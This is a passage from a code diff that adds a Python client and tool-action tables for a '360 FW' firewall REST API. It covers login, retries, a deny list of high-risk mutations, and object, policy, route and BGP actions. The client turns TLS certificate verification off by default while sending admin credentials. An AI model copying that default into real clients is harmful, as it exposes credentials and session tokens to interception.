"DELETE"}, + "/policy_route_move": {"GET", "POST", "PUT", "DELETE"}, + "/policy_route_state": {"GET", "POST", "PUT", "DELETE"}, + "/qos_policy_move": {"GET", "POST", "PUT", "DELETE"}, + "/sdwan_policy_move": {"GET", "POST", "PUT", "DELETE"}, + "/bgp_clear_bgp_route": {"GET", "POST", "PUT", "DELETE"}, + "/user_obj": {"POST", "PUT", "DELETE"}, + "/signature_event": {"POST", "PUT", "DELETE"}, +} + +KNOWN_PROBLEM_RESOURCES: dict[str, dict[str, dict[str, Any]]] = { + "/domainBlackList": {"GET": {"http_status": 404, "code": 404, "message": "404 Not Found"}}, + "/global_domain_block_switch": {"GET": {"http_status": 404, "code": 404, "message": "404 Not Found"}}, + "/domain_blacklist_export": {"GET": {"http_status": 404, "code": 404, "message": "404 Not Found"}}, + "/radius": {"PUT": {"http_status": 400, "code": 103, "message": "输入的内容长度超过限制"}}, + "/multiple_ids": {"POST": {"http_status": 400, "code": 1111, "message": "不支持的csp联动协议"}}, + "/protect_policy": {"POST": {"http_status": 400, "code": 121, "message": "策略数量已达到最大限制"}}, + "/protect_policy_enable": {"PUT": {"http_status": 400, "code": 87, "message": "目标策略不存在"}}, + "/vsys": { + "POST": {"http_status": 400, "code": 1087, "message": "虚拟路由器或虚拟系统不存在"}, + "PUT": {"http_status": 400, "code": 1087, "message": "虚拟路由器或虚拟系统不存在"}, + }, + "/bgp_route_reflector": {"POST": {"http_status": 400, "code": 484, "message": "对等体标志设置错误"}}, +} + + +def _resolve_ref(value: Any) -> str: + if value is None: + return "" + if not isinstance(value, str): + return str(value) + if value.startswith("{secret:") and value.endswith("}"): + return get_secret_manager().get(value[len("{secret:") : -1]) or "" + if value.startswith("{env:") and value.endswith("}"): + return os.getenv(value[len("{env:") : -1], "") + return value + + +def _raw_service_config() -> dict[str, Any]: + raw = ConfigWriter.get_api_service_raw(SERVICE_ID) + if not isinstance(raw, dict): + raw = ConfigWriter.get_api_service_raw(STORAGE_KEY) + return raw if isinstance(raw, dict) else {} + + +def _as_bool(value: Any, default: bool) -> bool: + if value is None: + return default + if isinstance(value, bool): + return value + if isinstance(value, str): + text = value.strip().lower() + if text in {"1", "true", "yes", "on"}: + return True + if text in {"0", "false", "no", "off"}: + return False + return bool(value) + + +def _config_value(raw: dict[str, Any], *keys: str) -> Any: + for key in keys: + if raw.get(key) is not None: + return raw[key] + custom_settings = raw.get("custom_settings") + if isinstance(custom_settings, dict): + for key in keys: + if custom_settings.get(key) is not None: + return custom_settings[key] + return None + + +def _resolve_verify_ssl(raw: dict[str, Any]) -> bool: + value = _config_value(raw, "verify_ssl", "ssl_verify") + if value is None: + value = os.getenv("FW_VERIFY_SSL") + return _as_bool(value, False) + + +def _normalize_base_url(value: str) -> str: + base_url = value.rstrip("/") + if not base_url: + return "" + if not base_url.endswith("/API"): + base_url = base_url + "/API" + return base_url + + +def _load_runtime_config() -> RuntimeConfig: + raw = _raw_service_config() + sm = get_secret_manager() + + base_url = _normalize_base_url( + _resolve_ref(raw.get("base_url")) + or _resolve_ref(raw.get("baseUrl")) + or os.getenv("FW_BASE_URL", "") + ) + username = ( + _resolve_ref(raw.get("username")) + or sm.get("360_fw_v5_5_username") + or sm.get("360_fw_username") + or os.getenv("FW_USERNAME", "") + or os.getenv("FW_USER", "") + ) + password = ( + _resolve_ref(raw.get("password")) + or sm.get("360_fw_v5_5_password") + or sm.get("360_fw_password") + or os.getenv("FW_PASSWORD", "") + or os.getenv("FW_PASS", "") + ) + timeout_value = raw.get("timeout") or os.getenv("FW_TIMEOUT") or 30 + try: + timeout = int(timeout_value) + except (TypeError, ValueError): + timeout = 30 + + if not base_url: + raise FwApiError("360 FW base_url is required") + if not username: + raise FwApiError("360 FW username is required") + if not password: + raise FwApiError("360 FW password is required") + + return RuntimeConfig( + base_url=base_url, + username=username, + password=password, + verify_ssl=_resolve_verify_ssl(raw), + timeout=timeout, + ) + + +class FwClient: + def __init__(self, config: RuntimeConfig) -> None: + self.config = config + self.base_url = config.base_url + self.username = config.username + self.password = config.password + self.verify_ssl = config.verify_ssl + self.timeout = config.timeout + self.session = requests.Session() + self.session.verify = self.verify_ssl + self.authorization: Optional[str] = None + + def login(self) -> dict[str, Any]: + resp = self.session.request( + "POST", + f"{self.base_url}/login", + json={"user": self.username, "pwd": self.password}, + timeout=self.timeout, + ) + data = self._parse_response(resp, "POST", "/login") + token = data.get("authorization") if isinstance(data, dict) else None + if resp.status_code != 200 or data.get("result") is not True or not token: + raise FwApiError(f"login failed: HTTP {resp.status_code}, {self._short(data)}") + self.authorization = str(token) + self.session.headers.update({"Authorization": self.authorization, "Content-Type": "application/json"}) + return self._redact_auth(data) + + def get( + self, + path: str, + query: Optional[dict[str, Any]] = None, + retry: bool = True, + ) -> dict[str, Any]: + if not self.authorization: + self.login() + return self._request_with_retry("GET", path, query=query, body=None, retry=retry) + + def request( + self, + method: str, + path: str, + query: Optional[dict[str, Any]] = None, + body: Optional[Any] = None, + retry: bool = True, + ) -> dict[str, Any]: + method = method.upper() + if method == "GET": + return self.get(path, query=query, retry=retry) + if method not in {"POST", "PUT", "DELETE"}: + raise FwApiError("method must be GET, POST, PUT, or DELETE") + if not self.authorization: + self.login() + return self._request_with_retry(method, path, query=query, body=body, retry=retry) + + def _request_with_retry( + self, + method: str, + path: str, + *, + query: Optional[dict[str, Any]], + body: Optional[Any], + retry: bool, + ) -> dict[str, Any]: + try: + data = self._raw_request(method, path, query=query, body=body) + except (requests.RequestException, FwApiError): + if not retry: + raise + self.login() + data = self._raw_request(method, path, query=query, body=body) + if self._is_auth_error(data) and retry: + self.login() + data = self._raw_request(method, path, query=query, body=body) + return data + + def _raw_request( + self, + method: str, + path: str, + *, + query: Optional[dict[str, Any]], + body: Optional[Any], + ) -> dict[str, Any]: + request_path = build_path(path, query) + resp = self.session.request( + method, + f"{self.base_url}{request_path}", + json=body, + timeout=self.timeout, + ) + data = self._parse_response(resp, method, request_path) + if resp.status_code < 200 or resp.status_code >= 300: + raise FwApiError(f"HTTP {resp.status_code} from {method} {request_path}: {self._short(data)}") + return data + + @staticmethod + def _parse_response(resp: requests.Response, method: str, path: str) -> dict[str, Any]: + text = resp.text or "" + if not text.strip(): + return {"result": True, "data": None} + try: + data = resp.json() + except Exception as exc: + raise FwApiError(f"non-json response from {method} {path}: HTTP {resp.status_code}, {text[:200]}") from exc + if not isinstance(data, dict): + return {"result": True, "data": data} + return data + + @staticmethod + def _is_auth_error(data: dict[str, Any]) -> bool: + code = data.get("code") + msg = str(data.get("message") or data.get("msg") or data.get("error") or "").lower() + return code in {401, "401"} or "authorization" in msg or "token" in msg + + @staticmethod + def _redact_auth(data: dict[str, Any]) -> dict[str, Any]: + output = dict(data) + if "authorization" in output: + output["authorization"] = "***" + return output + + @staticmethod + def _short(data: Any) -> str: + return json.dumps(data, ensure_ascii=False)[:300] + + +_CLIENTS: dict[tuple[str, str, bool], FwClient] = {} + + +def _client_cache_key(config: RuntimeConfig) -> tuple[str, str, bool]: + return (config.base_url, config.username, config.verify_ssl) + + +def get_client() -> FwClient: + config = _load_runtime_config() + key = _client_cache_key(config) + client = _CLIENTS.get(key) + if client is None or client.password != config.password: + client = FwClient(config) + _CLIENTS[key] = client + return client + + +def ok(content: Any) -> ToolResult: + return ToolResult( + success=True, + output=content, + metadata={ + "source": "360 FW", + "version": PRODUCT_VERSION, + "fw_software_version": FW_SOFTWARE_VERSION, + "version_software": FW_BUILD_VERSION, + }, + ) + + +def api_result(data: dict[str, Any]) -> ToolResult: + if data.get("result") is False: + raise FwApiError(error_text(data)) + code = data.get("code") + if code not in (None, 0, "0"): + raise FwApiError(error_text(data)) + return ok(data) + + +def error_text(data: dict[str, Any]) -> str: + code = data.get("code") + msg = data.get("message") or data.get("msg") or data.get("error") + if code is not None or msg: + return f"code={code} message={msg}" + return json.dumps(data, ensure_ascii=False)[:300] + + +def require_int(value: Any, name: str, default: Optional[int] = None) -> int: + if value in (None, "") and default is not None: + return default + try: + return int(value) + except Exception as exc: + raise FwApiError(f"{name} must be an integer") from exc + + +def require_text(value: Any, name: str, default: Optional[str] = None) -> str: + if value in (None, "") and default is not None: + return default + if value in (None, ""): + raise FwApiError(f"{name} is required") + text = str(value).strip() + if not text: + raise FwApiError(f"{name} is required") + return text + + +def first_present(args: dict[str, Any], *names: str) -> Any: + for name in names: + value = args.get(name) + if value not in (None, ""): + return value + return None + + +def require_payload(value: Any, name: str = "body") -> Any: + if isinstance(value, str): + try: + value = json.loads(value) + except (TypeError, ValueError, json.JSONDecodeError) as exc: + raise FwApiError(f"{name} must be valid JSON") from exc + if not isinstance(value, (dict, list)): + raise FwApiError(f"{name} must be a JSON object or array") + return value + + +def optional_payload(value: Any, name: str = "body") -> Any: + if value in (None, ""): + return None + return require_payload(value, name) + + +def payload_or(args: dict[str, Any], builder: ActionBuilder) -> Any: + payload = optional_payload(args.get("body")) + if payload is not None: + return payload + return builder(args) + + +def name_body(args: dict[str, Any], key: str = "name") -> dict[str, Any]: + return {key: require_text(args.get(key) or args.get("name"), key)} + + +def address_prefix(value: str, obj_type: int) -> str: + if value[:2] in {"0:", "1:", "8:"}: + return value + return f"{obj_type}:{value}" + + +def build_addressobj_body(args: dict[str, Any]) -> dict[str, Any]: + obj_type = require_int(args.get("type", 0), "type") + addr = require_text(args.get("addr"), "addr") + return { + "name": require_text(args.get("name"), "name"), + "type": obj_type, + "desc": str(args.get("desc") or ""), + "item": [{"addr": address_prefix(addr, obj_type)}], + } + + +def build_serviceobj_body(args: dict[str, Any]) -> dict[str, Any]: + return { + "name": require_text(args.get("name"), "name"), + "desc": str(args.get("desc") or ""), + "item": [{"sev_str": require_text(args.get("sev_str"), "sev_str")}], + } + + +def build_static_route_body(args: dict[str, Any]) -> dict[str, Any]: + return { + "ip_vrf_name": str(args.get("ip_vrf_name") or "default"), + "dst_ip": require_text(args.get("dst_ip"), "dst_ip"), + "nh_type": str(args.get("nh_type") or "0"), + "nh_ip": require_text(args.get("nh_ip"), "nh_ip"), + "oif": str(args.get("oif") or ""), + "weigh": str(args.get("weigh") or "1"), + "distance": str(args.get("distance") or "255"), + "monitor_name": str(args.get("monitor_name") or ""), + } + + +def build_policy_group_body(args: dict[str, Any]) -> dict[str, Any]: + return {"name": require_text(args.get("name"), "name"), "protocol": str(args.get("protocol") or "1")} + + +def build_fwpolicy_state_body(args: dict[str, Any]) -> dict[str, Any]: + return { + "enable": require_int(args.get("enable", 0), "enable"), + "id": require_int(args.get("id"), "id"), + "protocol": require_int(args.get("protocol", 1), "protocol"), + } + + +def build_delete_name_body(args: dict[str, Any]) -> dict[str, Any]: + body = name_body(args) + if args.get("type") not in (None, ""): + body["type"] = require_int(args["type"], "type") + if args.get("protocol") not in (None, ""): + body["protocol"] = require_int(args["protocol"], "protocol") + return body + + +def build_path(path: str, query: Optional[dict[str, Any]] = None) -> str: + path = normalize_api_path(path) + if query: + sep = "&" if "?" in path else "?" + path = f"{path}{sep}{urllib.parse.urlencode(query, doseq=True)}" + return path + + +def normalize_api_path(path: str) -> str: + path = str(path or "").strip() + if path.startswith("API/"): + path = "/" + path + if path.startswith("/API/"): + path = path[len("/API") :] + if path.startswith("API?"): + path = "/" + path + if not path.startswith("/"): + path = "/" + path + if path == "/API": + path = "/" + if not path or path == "/": + raise FwApiError("path is required") + return path + + +def resource_of(path: str) -> str: + return normalize_api_path(path).split("?", 1)[0] + + +def reject_high_risk_mutation(method: str, path: str) -> None: + resource = resource_of(path) + methods = BLOCKED_HIGH_RISK_MUTATIONS.get(resource) + if methods and method.upper() in methods: + raise FwApiError(f"360 FW integration does not support high-risk FW operations: {method.upper()} {resource}") + + +def validate_documented_api(method: str, path: str) -> None: + resource = resource_of(path) + methods = DOCUMENTED_API_METHODS.get(resource) + if methods is None: + raise FwApiError(f"{resource} is not listed in the local FW API document") + if method.upper() not in methods: + raise FwApiError(f"{method.upper()} {resource} is not listed in the local FW API document") + + +def query_from_args(args: dict[str, Any], allowed: list[str]) -> dict[str, Any] | None: + query = args.get("query") + if query is not None: + if not isinstance(query, dict): + raise FwApiError("query must be an object") + return query + output = {key: args[key] for key in allowed if args.get(key) not in (None, "")} + return output or None + + +GET_ACTIONS: dict[str, str] = { + "fw_system_info_get": "/sys_info", + "fw_interface_list": "/interface", + "fw_interface_get": "/interface", + "fw_ha_config_get": "/ha_config", + "fw_ha_config_syn_get": "/ha_config_syn", + "fw_ha_status_all_get": "/ha_status_all", + "fw_lte_config_get": "/lte_config", + "fw_lte_info_get": "/lte_info", + "fw_loopback_list": "/loopback", + "fw_ntp_config_get": "/ntp_config", + "fw_v0_0_1_ntp_config_get": "/v0.0.1/ntp_config", + "fw_ntp_key_get": "/ntp_key", + "fw_syslog_server_get": "/syslog_server", + "fw_v0_0_1_syslog_server_get": "/v0.0.1/syslog_server", + "fw_log_filter_get": "/logFilter", + "fw_fw_policy_config_get": "/fw_policy_config", + "fw_license_config_get": "/license_config", + "fw_virtual_route_list": "/virtual_route_list", + "fw_diagnose_get": "/diagnose", + "fw_addressobj_list": "/addressobj?page=1&length=100&flag=0", + "fw_addressobj_get": "/addressobj", + "fw_addressgroup_list": "/addressgroup?page=1&length=100&flag=0", + "fw_addressgroup_get": "/addressgroup", + "fw_serviceobj_list": "/serviceobj?page=1&length=100&flag=0", + "fw_serviceobj_get": "/serviceobj", + "fw_servicegroup_list": "/servicegroup?page=1&length=100&flag=0", + "fw_servicegroup_get": "/servicegroup", + "fw_predefined_service_list": "/predefined_service", + "fw_dom_obj_list": "/dom_obj", + "fw_dns_custom_list": "/dns_custom", + "fw_dns_custom_get": "/dns_custom", + "fw_dns_group_list": "/dns_group", + "fw_dns_group_get": "/dns_group", + "fw_timeabsobj_list": "/timeabsobj?flag=0", + "fw_timeabsobj_get": "/timeabsobj", + "fw_timecycobj_list": "/timecycobj?flag=0", + "fw_timecycobj_get": "/timecycobj", + "fw_app_obj_list": "/app_obj", + "fw_app_obj_get": "/app_obj", + "fw_app_group_list": "/app_group", + "fw_app_group_get": "/app_group", + "fw_get_app_list": "/getAppList", + "fw_get_app_detail": "/getAppList", + "fw_blackList_group_list": "/blackList_group", + "fw_xml_av_profile_list": "/xml_av_profile", + "fw_signature_set_list": "/signature_set", + "fw_fwpolicy_list": "/fwpolicy?protocol=1&page=1&length=100&flag=0", + "fw_fwpolicy_get": "/fwpolicy", + "fw_policy_group_list": "/policy_group?protocol=1", + "fw_app_policy_list": "/app_policy", + "fw_web_policy_list": "/web_policy", + "fw_black_list_list": "/black_list?page=1", + "fw_white_list_list": "/white_list?page=1", + "fw_protect_policy_list": "/protect_policy?protocol=1", + "fw_vlan_list": "/vlan", + "fw_vxlan_list": "/vxlan", + "fw_static_route_list": "/static_route?protocol=1&ip_vrf_name=default", + "fw_healthcheck_list": "/healthcheck_list", + "fw_link_health_check_list": "/link_health_check", + "fw_qos_line_list": "/qos_line", + "fw_qos_policy_list": "/qos_policy", + "fw_nat_pool_list": "/nat_pool", + "fw_nat_rule_src_list": "/nat_rule_src?protocol=1", + "fw_nat_rule_dst_list": "/nat_rule_dst?protocol=1", + "fw_nat_rule_static_list": "/nat_rule_static?protocol=1", + "fw_policy_route_list": "/policy_route?protocol_type=1", + "fw_sdwan_policy_list": "/sdwan_policy", + "fw_sdwan_status_get": "/sdwan_status", + "fw_woc_policy_state_get": "/woc_policy_state", + "fw_gre_list": "/gre?ip_vrf_name=default", + "fw_autoike_list": "/autoike", + "fw_ipsec_policy_list": "/ipsec_policy", + "fw_ikesa_list": "/ikesa", + "fw_ipsecsa_list": "/ipsecsa", + "fw_tunnel_status_table": "/tunnel_status_table?page=1&length=10", + "fw_tunnel_status_line": "/tunnel_status_line?status_type=1&period=1&page=1&length=10", + "fw_bgp_info_get": "/bgp_info?ip_vrf_name=default", + "fw_bgp_network_list": "/bgp_network?ip_vrf_name=default", + "fw_bgp_peer_group_list": "/bgp_peer_group", + "fw_bgp_neighbors_list": "/bgp_neighbors?ip_vrf_name=default", + "fw_bgp_access_list_list": "/bgp_access_list", + "fw_bgp_filter_list_list": "/bgp_filter_list", + "fw_bgp_route_map_list": "/bgp_route_map", + "fw_bgp_map_list_list": "/bgp_map_list", + "fw_bgp_prefix_list_list": "/bgp_prefix_list", + "fw_bgp_prefix_policy_list": "/bgp_prefix_policy", + "fw_user_list": "/user?page=1&length=100", + "fw_user_group_list": "/user_group?page=1&length=100", + "fw_user_obj_list": "/user_obj?page=1&length=100", + "fw_radius_list": "/radius", + "fw_ldap_list": "/ldap", + "fw_cpu_state": "/cpu_state?type=1&period=1", + "fw_memory_state": "/memory_state?type=2&period=1", + "fw_device_state": "/device_state?type=4&period=1", + "fw_device_link_state": "/device_link_state?period=1", + "fw_interface_flow_state": "/interface_flow_state?period=1&flow=3&inf_type=1", + "fw_interface_flow_bar_state": "/interface_flow_bar_state?period=1&flow=3&inf_type=1", + "fw_user_flow_state": "/user_flow_state?period=1&flow=3", + "fw_user_flow_bar_state": "/user_flow_bar_state?period=1&flow=3", + "fw_monitor_user": "/monitor_user?period=1&user_type=2", + "fw_app_flow_state": "/app_flow_state?period=1&flow=3&stat_type=1", + "fw_app_flow_bar_state": "/app_flow_bar_state?period=1&flow=3&stat_type=1", + "fw_url_state": "/url_state?period=1&stat_type=1", + "fw_url_bar_state": "/url_bar_state?period=1&stat_type=1", + "fw_threaten_state": "/threaten_state?period=1&stat_type=1", + "fw_threaten_bar_state": "/threaten_bar_state?period=1&stat_type=1", + "fw_get_app_detail_monitor": "/getAppDetail?period=1&stat_type=2", + "fw_interface_monitor": "/interface_monitor", + "fw_interface_monitor_vlan": "/interface_monitor?inf_type=2", + "fw_qos_monitor": "/monitor_qos_policy", + "fw_vxlan_monitor": "/vxlan_monitor?period=1", +} + +ACTION_SPECS: dict[str, ActionSpec] = { + "fw_addressobj_create": ("POST", "/addressobj", lambda a: payload_or(a, build_addressobj_body)), + "fw_addressobj_update": ("PUT", "/addressobj", lambda a: payload_or(a, build_addressobj_body)), + "fw_addressobj_delete": ("DELETE", "/addressobj", lambda a: payload_or(a, lambda x: {"name": require_text(x.get("name"), "name"), "type": require_int(x.get("type", 0), "type")})), + "fw_serviceobj_create": ("POST", "/serviceobj", lambda a: payload_or(a, build_serviceobj_body)), + "fw_serviceobj_update": ("PUT", "/serviceobj", lambda a: payload_or(a, build_serviceobj_body)), + "fw_serviceobj_delete": ("DELETE", "/serviceobj", lambda a: payload_or(a, build_delete_name_body)), + "fw_policy_group_create": ("POST", "/policy_group", lambda a: payload_or(a, build_policy_group_body)), + "fw_policy_group_delete": ("DELETE", "/policy_group", lambda a: payload_or(a, lambda x: {"name": require_text(x.get("name"), "name"), "protocol": str(x.get("protocol") or "1"), "del_act": str(x.get("del_act") or "0")})), + "fw_fwpolicy_state_update": ("PUT", "/fwpolicy_state", lambda a: payload_or(a, build_fwpolicy_state_body)), + "fw_static_route_create": ("POST", "/static_route?protocol=1", lambda a: payload_or(a, build_static_route_body)), + "fw_static_route_delete": ("DELETE", "/static_route?protocol=1", lambda a: payload_or(a, build_static_route_body)), +} + + +def _add_raw_specs(actions: dict[str, tuple[str, str]]) -> None: + for action, (method, path) in actions.items(): + ACTION_SPECS.setdefault(action, (method, path, lambda a: require_payload(a.get("body")))) + + +_add_raw_specs( + { + "fw_addressgroup_create": ("POST", "/addressgroup"), + "fw_addressgroup_update": ("PUT", "/addressgroup"), + "fw_addressgroup_delete": ("DELETE", "/addressgroup"), + "fw_servicegroup_create": ("POST", "/servicegroup"), + "fw_servicegroup_update": ("PUT", "/servicegroup"), + "fw_servicegroup_delete": ("DELETE", "/servicegroup"), + "fw_dom_obj_create": ("POST", "/dom_obj"), + "fw_dom_obj_delete": ("DELETE", "/dom_obj"), + "fw_dns_custom_create": ("POST", "/dns_custom"), + "fw_dns_custom_update": ("PUT", "/dns_custom"), + "fw_dns_custom_delete": ("DELETE", "/dns_custom"), + "fw_dns_group_create": ("POST", "/dns_group"), + "fw_dns_group_update": ("PUT", "/dns_group"), + "fw_dns_group_delete": ("DELETE", "/dns_group"), + "fw_timeabsobj_create": ("POST", "/timeabsobj"), + "fw_timeabsobj_delete": ("DELETE", "/timeabsobj"), + "fw_timecycobj_create": ("POST", "/timecycobj"), + "fw_timecycobj_update": ("PUT", "/timecycobj"), + "fw_timecycobj_delete": ("DELETE", "/timecycobj"), + "fw_app_obj_create": ("POST", "/app_obj"), + "fw_app_obj_update": ("PUT", "/app_obj"), + "fw_app_obj_delete": ("DELETE", "/app_obj"), + "fw_app_group_create": ("POST", "/app_group"), + "fw_app_group_delete": ("DELETE", "/app_group"), + "fw_blackList_group_create": ("POST", "/blackList_group"), + "fw_blackList_group_delete": ("DELETE", "/blackList_group"), + "fw_blackListGroup_rename": ("PUT", "/blackListGroup_rename"), + "fw_xml_av_profile_create": ("POST", "/xml_av_profile"), + "fw_xml_av_profile_update": ("PUT", "/xml_av_profile"), + "fw_xml_av_profile_delete": ("DELETE", "/xml_av_profile"), + "fw_signature_set_create": ("POST", "/signature_set"), + "fw_signature_set_update": ("PUT", "/signature_set"), + "fw_signature_set_delete": ("DELETE", "/signature_set"), + "fw_fwpolicy_create": ("POST", "/fwpolicy"), + "fw_fwpolicy_update": ("PUT", "/fwpolicy"), + "fw_fwpolicy_delete": ("DELETE", "/fwpolicy"), + "fw_fwpolicy_move": ("PUT", "/fwpolicy_move"), + "fw_app_policy_create": ("POST", "/app_policy"), + "fw_app_policy_delete": ("DELETE", "/app_policy"), + "fw_web_policy_create": ("POST", "/web_policy"), + "fw_web_policy_delete": ("DELETE", "/web_policy"), + "fw_black_list_create": ("POST", "/black_list"), + "fw_black_list_delete": ("DELETE", "/black_list"), + "fw_white_list_create": ("POST", "/white_list"), + "fw_white_list_delete": ("DELETE", "/white_list"), + "fw_multiple_domains_create": ("POST", "/multiple_domains"), + "fw_multiple_domains_delete": ("DELETE", "/multiple_domains"), + "fw_multiple_ids_create": ("POST", "/multiple_ids"), + "fw_multiple_ids_delete": ("DELETE", "/multiple_ids"), + "fw_protect_policy_create": ("POST", "/protect_policy"), + "fw_protect_policy_delete": ("DELETE", "/protect_policy"), + "fw_protect_policy_enable_update": ("PUT", "/protect_policy_enable"), + "fw_vsys_create": ("POST", "/vsys"), + "fw_vsys_update": ("PUT", "/vsys"), + "fw_vsys_delete": ("DELETE", "/vsys"), + "fw_vlan_create": ("POST", "/vlan"), + "fw_vlan_update": ("PUT", "/vlan"), + "fw_vlan_delete": ("DELETE", "/vlan"), + "fw_healthcheck_create": ("POST", "/healthcheck_list"), + "fw_healthcheck_update": ("PUT", "/healthcheck_list"), + "fw_healthcheck_delete": ("DELETE", "/healthcheck_list"), + "fw_link_health_check_create": ("POST", "/link_health_check"), + "fw_link_health_check_update": ("PUT", "/link_health_check"), + "fw_link_health_check_delete": ("DELETE", "/link_health_check"), + "fw_qos_line_create": ("POST", "/qos_line"), + "fw_qos_line_update": ("PUT", "/qos_line"), + "fw_qos_line_delete": ("DELETE", "/qos_line"), + "fw_qos_policy_create": ("POST", "/qos_policy"), + "fw_qos_policy_delete": ("DELETE", "/qos_policy"), + "fw_nat_pool_create": ("POST", "/nat_pool"), + "fw_nat_pool_delete": ("DELETE", "/nat_pool"), + "fw_policy_route_create": ("POST", "/policy_route"), + "fw_policy_route_delete": ("DELETE", "/policy_route"), + "fw_sdwan_policy_create": ("POST", "/sdwan_policy"), + "fw_sdwan_policy_delete": ("DELETE", "/sdwan_policy"), + "fw_gre_create": ("POST", "/gre"), + "fw_gre_update": ("PUT", "/gre"), + "fw_gre_delete": ("DELETE", "/gre"), + "fw_tunnel_monitor_create": ("POST", "/tunnel_monitor"), + "fw_tunnel_monitor_delete": ("DELETE", "/tunnel_monitor"), + "fw_autoike_create": ("POST", "/autoike"), + "fw_autoike_delete": ("DELETE", "/autoike"), + "fw_phase2ike_create": ("POST", "/phase2ike"), + "fw_phase2ike_delete": ("DELETE", "/phase2ike"), + "fw_ipsec_policy_create": ("POST", "/ipsec_policy"), + "fw_ipsec_policy_delete": ("DELETE", "/ipsec_policy"), + "fw_bgp_info_create": ("POST", "/bgp_info"), + "fw_bgp_info_delete": ("DELETE", "/bgp_info"), + "fw_bgp_network_create": ("POST", "/bgp_network"), + "fw_bgp_network_delete": ("DELETE", "/bgp_network"), + "fw_bgp_peer_group_create": ("POST", "/bgp_peer_group"), + "fw_bgp_peer_group_delete": ("DELETE", "/bgp_peer_group"), + "fw_bgp_neighbors_create": ("POST", "/bgp_neighbors"), + "fw_bgp_neighbors_delete": ("DELETE", "/bgp_neighbors"), + "fw_bgp_access_list_create": ("POST", "/bgp_access_list"), + "fw_bgp_access_list_delete": ("DELETE", "/bgp_access_list"), + "fw_bgp_filter_list_create": ("POST", "/bgp_filter_list"), + "fw_bgp_filter_list_delete": ("DELETE", "/bgp_filter_list"), + "fw_bgp_route_map_create": ("POST", "/bgp_route_map"), + "fw_bgp_route_map_delete": ("DELETE", "/bgp_route_map"), + "fw_bgp_map_list_create": ("POST", "/bgp_map_list"), + "fw_bgp_map_list_delete": ("DELETE", "/bgp_map_list"), + "fw_bgp_prefix_list_create": ("POST", "/bgp_prefix_list"), + "fw_bgp_prefix_list_delete": ("DELETE", "/bgp_prefix_list"), + "fw_bgp_prefix_policy_create": ("POST", "/bgp_prefix_policy"), + "fw_bgp_prefix_policy_delete": ("DELETE", "/bgp_prefix_policy"), + "fw_bgp_import_check_update": ("PUT", "/bgp_import_check"), + "fw_bgp_reflector_switch_update": ("PUT", "/bgp_reflector_switch"), + "fw_bgp_timer_update": ("PUT", "/bgp_timer"), + "fw_bgp_route_reflector_create": ("POST", "/bgp_route_reflector"), + "fw_bgp_route_reflector_delete": ("DELETE", "/bgp_route_reflector"), + "fw_user_create": ("POST", "/user"), + "fw_user_delete": ("DELETE", "/user"), + "fw_user_group_create": ("POST", "/user_group"), + "fw_user_group_update": ("PUT", "/user_group"), + "fw_user_group_delete": ("DELETE", "/user_group"), + "fw_radius_create": ("POST", "/radius"), + "fw_radius_update": ("PUT", "/radius"), + "fw_radius_delete": ("DELETE", "/radius"), + "fw_ldap_create": ("POST", "/ldap"), + "fw_ldap_delete": ("DELETE", "/ldap"), + "fw_v0_0_1_syslog_server_create": ("POST", "/v0.0.1/syslog_server"), + "fw_v0_0_1_syslog_server_delete": ("DELETE", "/v0.0.1/syslog_server"), + } +) + +GROUP_ACTIONS: dict[str, set[str]] = { + "system": { + "fw_check_login", + *{k for k in GET_ACTIONS if k.startswith("fw_") and any(token in k for token in ("system", "interface", "ha_", "lte_", "loopback", "ntp", "syslog", "log_filter", "policy_config", "license", "virtual_route", "diagnose"))}, + }, + "objects": { + *{k for k in GET_ACTIONS if any(token in k for token in ("address", "service", "predefined", "dom_", "dns_", "time", "app_", "get_app", "blackList", "xml", "signature"))}, + *{k for k in ACTION_SPECS if any(token in k for token in ("address", "service", "dom_", "dns_", "time", "app_", "blackList", "xml", "signature"))}, + "fw_object_call", + }, + "policy": { + *{k for k in GET_ACTIONS if any(token in k for token in ("fwpolicy", "policy_group", "app_policy", "web_policy", "black_list", "white_list", "protect_policy"))}, + *{k for k in ACTION_SPECS if any(token in k for token in ("fwpolicy", "policy_group", "app_policy", "web_policy", "black_list", "white_list", "multiple_", "protect_policy", "vsys"))}, + "fw_policy_call", + }, + "network": { + *{k for k in GET_ACTIONS if any(token in k for token in ("interface", "vlan", "vxlan", "static_route", "health", "qos", "nat_", "policy_route", "sdwan", "woc", "gre"))}, + *{k for k in ACTION_SPECS if any(token in k for token in ("vlan", "static_route", "health", "qos", "nat_", "policy_route", "sdwan", "gre", "tunnel_monitor"))}, + "fw_network_call", + }, + "vpn_bgp": { + *{k for k in GET_ACTIONS if any(token in k for token in ("autoike", "ipsec", "ikesa", "tunnel_status", "bgp_"))}, + *{k for k in ACTION_SPECS if any(token in k for token in ("autoike", "phase2ike", "ipsec", "bgp_"))}, + "fw_vpn_bgp_call", + }, + "auth_security": { + *{k for k in GET_ACTIONS if any(token in k for token in ("user", "radius", "ldap", "syslog"))}, + *{k for k in ACTION_SPECS if any(token in k for token in ("user", "radius", "ldap", "syslog", "multiple_"))}, + "fw_auth_security_call", + }, + "observability": { + *{k for k in GET_ACTIONS if any(token in k for token in ("cpu", "memory", "device_", "flow", "monitor", "url_", "threaten", "tunnel_status", "vxlan"))}, + "fw_observability_call", + }, + "api_readonly": {"fw_api_catalog", "fw_call_raw_readonly"}, + "api_mutation": {"fw_call_mutation", "fw_call_api"}, +} + +CONNECTIVITY_TEST_ACTIONS = { + "system": "fw_check_login", + "objects": "fw_addressobj_list", + "policy": "fw_fwpolicy_list", + "network": "fw_interface_list", + "vpn_bgp": "fw_autoike_list", + "auth_security": "fw_user_group_list", + "observability": "fw_cpu_state", + "api_readonly": "fw_api_catalog", +} + + +def fw_check_login(args: dict[str, Any]) -> ToolResult: + return ok(get_client().login()) + + +def fw_api_catalog(args: dict[str, Any]) -> ToolResult: + return ok( + { + "documented_rest_api_resources": DOCUMENTED_API_METHODS, + "blocked_high_risk_resources": BLOCKED_HIGH_RISK_MUTATIONS, + "known_problem_resources": KNOWN_PROBLEM_RESOURCES, + "covered_by": { + "GET": "fw_call_raw_readonly or fw_call_api", + "POST_PUT_DELETE": "fw_call_mutation or fw_call_api", + "grouped_tools": sorted(GROUP_ACTIONS), + }, + "version": { + "product_version": PRODUCT_VERSION, + "fw_software_version": FW_SOFTWARE_VERSION, + "version_software": FW_BUILD_VERSION, + }, + } + ) + + +def call_get_action(action: str, args: dict[str, Any]) -> ToolResult: + path = GET_ACTIONS[action] + if action == "fw_interface_get": + query = query_from_args(args, ["name"]) + elif action.endswith("_get") or action.endswith("_list"): + query = query_from_args(args, ["name", 